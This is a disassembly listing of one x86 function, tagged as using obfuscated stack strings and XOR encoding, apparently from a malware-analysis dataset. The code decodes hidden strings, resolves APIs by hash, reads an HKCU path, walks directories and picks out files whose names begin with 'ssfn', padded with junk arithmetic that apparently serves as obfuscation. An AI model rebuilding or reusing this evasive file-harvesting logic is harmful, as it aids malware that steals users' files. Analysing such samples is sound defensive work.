Function at 0x417040
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x71c
push ebx
push ebp
push esi
xor esi, esi
mov dword [esp + 0x30], 0xa1b3ba86
push edi
mov dword [esp + 0x38], 0xb0a7b4a2
mov ecx, esi
mov dword [esp + 0x3c], 0xb9b48389
mov dword [esp + 0x40], 0x8689b0a3
mov dword [esp + 0x44], 0xb8b4b0a1
mov al, byte [esp + ecx + 0x34]
xor al, 0xd5
movzx eax, al
mov word [esp + ecx*2 + 0xac], ax
inc ecx
cmp ecx, 0x14
jl 0x417076
xor eax, eax
mov dword [esp + 0x24], 0x84889776
push 0x73
mov word [esp + 0xd8], ax
mov ecx, esi
pop eax
push 0x23
mov byte [esp + 0x2c], 0x90
mov ebx, 0xff
mov byte [esp + 0x2d], al
mov word [esp + 0x2e], 0x9784
mov byte [esp + 0x30], 0x8b
pop edx
movzx eax, byte [esp + ecx + 0x24]
sub ax, dx
and ax, bx
mov word [esp + ecx*2 + 0x80], ax
inc ecx
cmp ecx, 9
jl 0x4170c1
xor eax, eax
lea edx, [esp + 0xac]
mov word [esp + 0x92], ax
mov ecx, 0x80000001
mov al, byte [0x42b9dc]
add al, 0x5d
and al, 0xc7
sub al, 0x1a
mov byte [0x42b9ce], al
lea eax, [esp + 0x328]
push 0x400
push eax
lea eax, [esp + 0x88]
push eax
call fcn.00422ae9
add esp, 0xc
test al, al
je 0x417694
movzx eax, byte [0x42b9ce]
mov edx, 0xeeb55893
imul ecx, eax, 0x24
movzx eax, cl
and cl, 0x6d
and eax, 0x4c839af0
mov byte [0x42b9ce], cl
mov dword [0x42b9dc], eax
xor ecx, ecx
lea eax, [esp + 0x328]
inc ecx
push eax
call fcn.004155a6
call eax
movzx ecx, byte [0x42b9dc]
imul edx, ecx, 0xb0
mov byte [0x42b9ce], dl
cmp eax, 0xffffffff
je 0x417694
test al, 0x10
je 0x417694
mov dword [esp + 0x1c], 0xc4ebf4bd
mov ecx, esi
mov byte [esp + 0x20], 0xb2
mov al, byte [esp + ecx + 0x1c]
xor al, 0x98
movzx eax, al
mov word [esp + ecx*2 + 0x58], ax
inc ecx
cmp ecx, 5
jl 0x41718f
xor eax, eax
mov byte [esp + 0x10], 0xe7
push 0x2e
mov word [esp + 0x66], ax
mov ecx, esi
pop eax
push 0xa
mov byte [esp + 0x15], al
mov dword [esp + 0x16], 0x31251e35
mov dword [esp + 0x1a], 0x292b2830
pop ebp
movzx eax, byte [esp + ecx + 0x10]
add ax, 0x3e
and ax, bx
mov word [esp + ecx*2 + 0x94], ax
inc ecx
cmp ecx, ebp
jl 0x4171cb
xor eax, eax
mov word [esp + 0xa8], ax
movzx eax, dl
imul eax, eax, 0x6e45489b
add eax, 0x82bdfd01
mov dword [0x42b9dc], eax
sub al, 0x64
mov byte [0x42b9ce], al
lea eax, [esp + 0x328]
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.00422d73
pop ecx
pop ecx
movzx ecx, byte [0x42b9ce]
mov edx, eax
and ecx, 0x151647f5
mov dword [esp + 0x1c], edx
mov dword [0x42b9dc], ecx
test edx, edx
je 0x41758e
mov al, cl
or ecx, 0x5f683480
and al, 0x5c
mov dword [0x42b9dc], ecx
mov byte [0x42b9ce], al
xor ecx, ecx
lea eax, [esp + 0xd8]
inc ecx
push eax
push edx
mov edx, 0x54e1cc7b
call fcn.004155a6
call eax
and dword [0x42b9dc], 0xc4d63667
xor ecx, ecx
mov edx, 0x17299c7b
inc ecx
mov ebp, eax
call fcn.004155a6
movzx ecx, byte [0x42b9ce]
imul ecx, ecx, 0xb1
mov dword [esp + 0x4c], eax
xor cl, 0x4b
cmp ebp, 0xffffffff
je 0x417565
and cl, 0xf1
sub cl, 0x6b
push 0x49
pop eax
and cl, 0x8b
mov byte [esp + 0x30], al
mov byte [0x42b9ce], cl
mov byte [esp + 0x31], al
push 0x2e
pop eax
mov word [esp + 0x48], ax
mov edx, esi
xor eax, eax
mov word [esp + 0x4a], ax
movzx eax, byte [esp + edx + 0x30]
sub ax, 0x1b
and ax, bx
mov word [esp + edx*2 + 0x50], ax
inc edx
cmp edx, 2
jl 0x4172cb
xor eax, eax
mov word [esp + 0x54], ax
movzx eax, cl
sub eax, 0x578ce571
mov dword [0x42b9dc], eax
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x108]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x417511
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x108]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x417511
movzx eax, byte [0x42b9dc]
imul ecx, eax, 0xcd
test byte [esp + 0xd8], 0xa7
mov byte [0x42b9ce], cl
je 0x41751d
movzx eax, cl
or cl, 0x11
sub eax, 0x7a6f792f
mov byte [0x42b9ce], cl
xor eax, 0x9334664e
mov dword [0x42b9dc], eax
lea eax, [esp + 0x104]
push eax
call fcn.0040581e
pop ecx
cmp eax, 4
jb 0x41751d
push 0x73
pop eax
cmp word [esp + 0x104], ax
jne 0x41751d
cmp word [esp + 0x106], ax
jne 0x41751d
cmp word [esp + 0x108], 0x66
jne 0x41751d
push 0x6e
pop eax
cmp word [esp + 0x10a], ax
jne 0x41751d
push 0x49
mov dword [esp + 0x28], 0x132a23dc
mov ecx, esi
mov word [esp + 0x2c], 0x23dc
mov byte [esp + 0x2e], 0x2a
pop edx
movzx eax, byte [esp + ecx + 0x24]
add ax, dx
and ax, bx
mov word [esp + ecx*2 + 0x34], ax
inc ecx
cmp ecx, 7
jl 0x4173d9
xor eax, eax
mov word [esp + 0x42], ax
mov al, byte [0x42b9dc]
and al, 0xa9
mov byte [0x42b9ce], al
movzx eax, al
and eax, 0x632674fc
mov dword [0x42b9dc], eax
lea eax, [esp + 0x104]
push eax
lea eax, [esp + 0x32c]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.00422d73
mov dl, byte [0x42b9ce]
mov edi, eax
add dl, 0x15
add esp, 0xc
or dl, 0x70
mov byte [0x42b9ce], dl
test edi, edi
je 0x41751d
mov dword [esp + 0x10], 0x72766740
mov ecx, esi
mov dword [esp + 0x14], 0x7f363c7e
mov byte [esp + 0x18], 0x60
mov al, byte [esp + ecx + 0x10]
xor al, 0x13
movzx eax, al
mov word [esp + ecx*2 + 0x64], ax
inc ecx
cmp ecx, 9
jl 0x41745f
xor eax, eax
mov word [esp + 0x76], ax
movzx eax, dl
add dl, 0xbc
imul eax, eax, 0xe4d5d403
mov byte [0x42b9ce], dl
mov dword [0x42b9dc], eax
lea eax, [esp + 0x104]
push eax
lea eax, [esp + 0x68]
push eax
call fcn.00422d73
mov dl, byte [0x42b9dc]
mov ebx, eax
pop ecx
or dl, 0x26
pop ecx
movzx ecx, dl
imul ecx, ecx, 0xa8f7c059
mov dword [0x42b9dc], ecx
test ebx, ebx
je 0x4174fa
or ecx, 0xb8be3bc4
sub dl, 0x35
mov dword [0x42b9dc], ecx
mov ecx, edi
mov byte [0x42b9ce], dl
mov edx, ebx
call fcn.0041e59c
mov al, byte [0x42b9dc]
or al, 0xe6
push ebx
mov byte [0x42b9ce], al
call fcn.004056f0
mov dl, byte [0x42b9ce]
pop ecx
add dl, 0x2e
push edi
mov byte [0x42b9ce], dl
call fcn.004056f0
pop ecx
mov ebx, 0xff
jmp 0x41751d
mov al, byte [0x42b9dc]
add al, 0x23
mov byte [0x42b9ce], al
lea eax, [esp + 0xd8]
push eax
push ebp
call dword [esp + 0x54]
test eax, eax
je 0x417539
mov cl, byte [0x42b9ce]
jmp 0x4172ba
imul eax, dword [0x42b9dc], 0x68572ecf
xor ecx, ecx
push ebp
mov edx, 0x83fbc401
inc ecx
mov dword [0x42b9dc], eax
sub al, 0x50
mov byte [0x42b9ce], al
call fcn.004155a6
call eax
mov cl, byte [0x42b9ce]
push dword [esp + 0x1c]
movzx eax, cl
add eax, 0xa7f43077
mov dword [0x42b9dc], eax
xor al, 0x9d
add al, 0x2e
mov byte [0x42b9ce], al
call fcn.004056f0
pop ecx
mov ecx, dword [0x42b9dc]
push 0xa
pop ebp
lea eax, [esp + 0x328]
or cl, 0x9d
push eax
lea eax, [esp + 0x98]
mov byte [0x42b9ce], cl
push eax
call fcn.00422d73
movzx edx, byte [0x42b9ce]
mov edi, eax
pop ecx
pop ecx
mov ecx, edx
xor ecx, 0xbcd7206b
mov dword [0x42b9dc], ecx
test edi, edi
je 0x417694
push 0x6e
pop eax
mov word [esp + 0x10], 0x8160
mov ecx, esi
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], al
mov dword [esp + 0x14], 0x7c703c7a
mov dword [esp + 0x18], 0x7476737b
movzx eax, byte [esp + ecx + 0x10]
sub ax, 0xd
and ax, bx
mov word [esp + ecx*2 + 0x64], ax
inc ecx
cmp ecx, 0xc
jl 0x4175f2
xor eax, eax
mov word [esp + 0x1c], 0x3834
push 0x6e
mov word [esp + 0x80], ax
pop eax
mov byte [esp + 0x1e], 0x80
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0x70
movzx eax, byte [esp + esi + 0x1c]
sub ax, bp
and ax, bx
mov word [esp + esi*2 + 0x10], ax
inc esi
cmp esi, 5
jl 0x41762b
xor edx, 0x5c
xor eax, eax
or edx, 0x47bc77a0
mov word [esp + 0x1a], ax
mov dword [0x42b9dc], edx
lea eax, [esp + 0x10]
sub dl, 7
mov ecx, edi
or dl, 0xd1
mov byte [0x42b9ce], dl
lea edx, [esp + 0x64]
push 1
push eax
call fcn.0041dc3a
mov eax, dword [0x42b9dc]
and eax, 0x2ba95398
mov dword [0x42b9dc], eax
or al, 0xb
push edi
mov byte [0x42b9ce], al
call fcn.004056f0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x71c
ret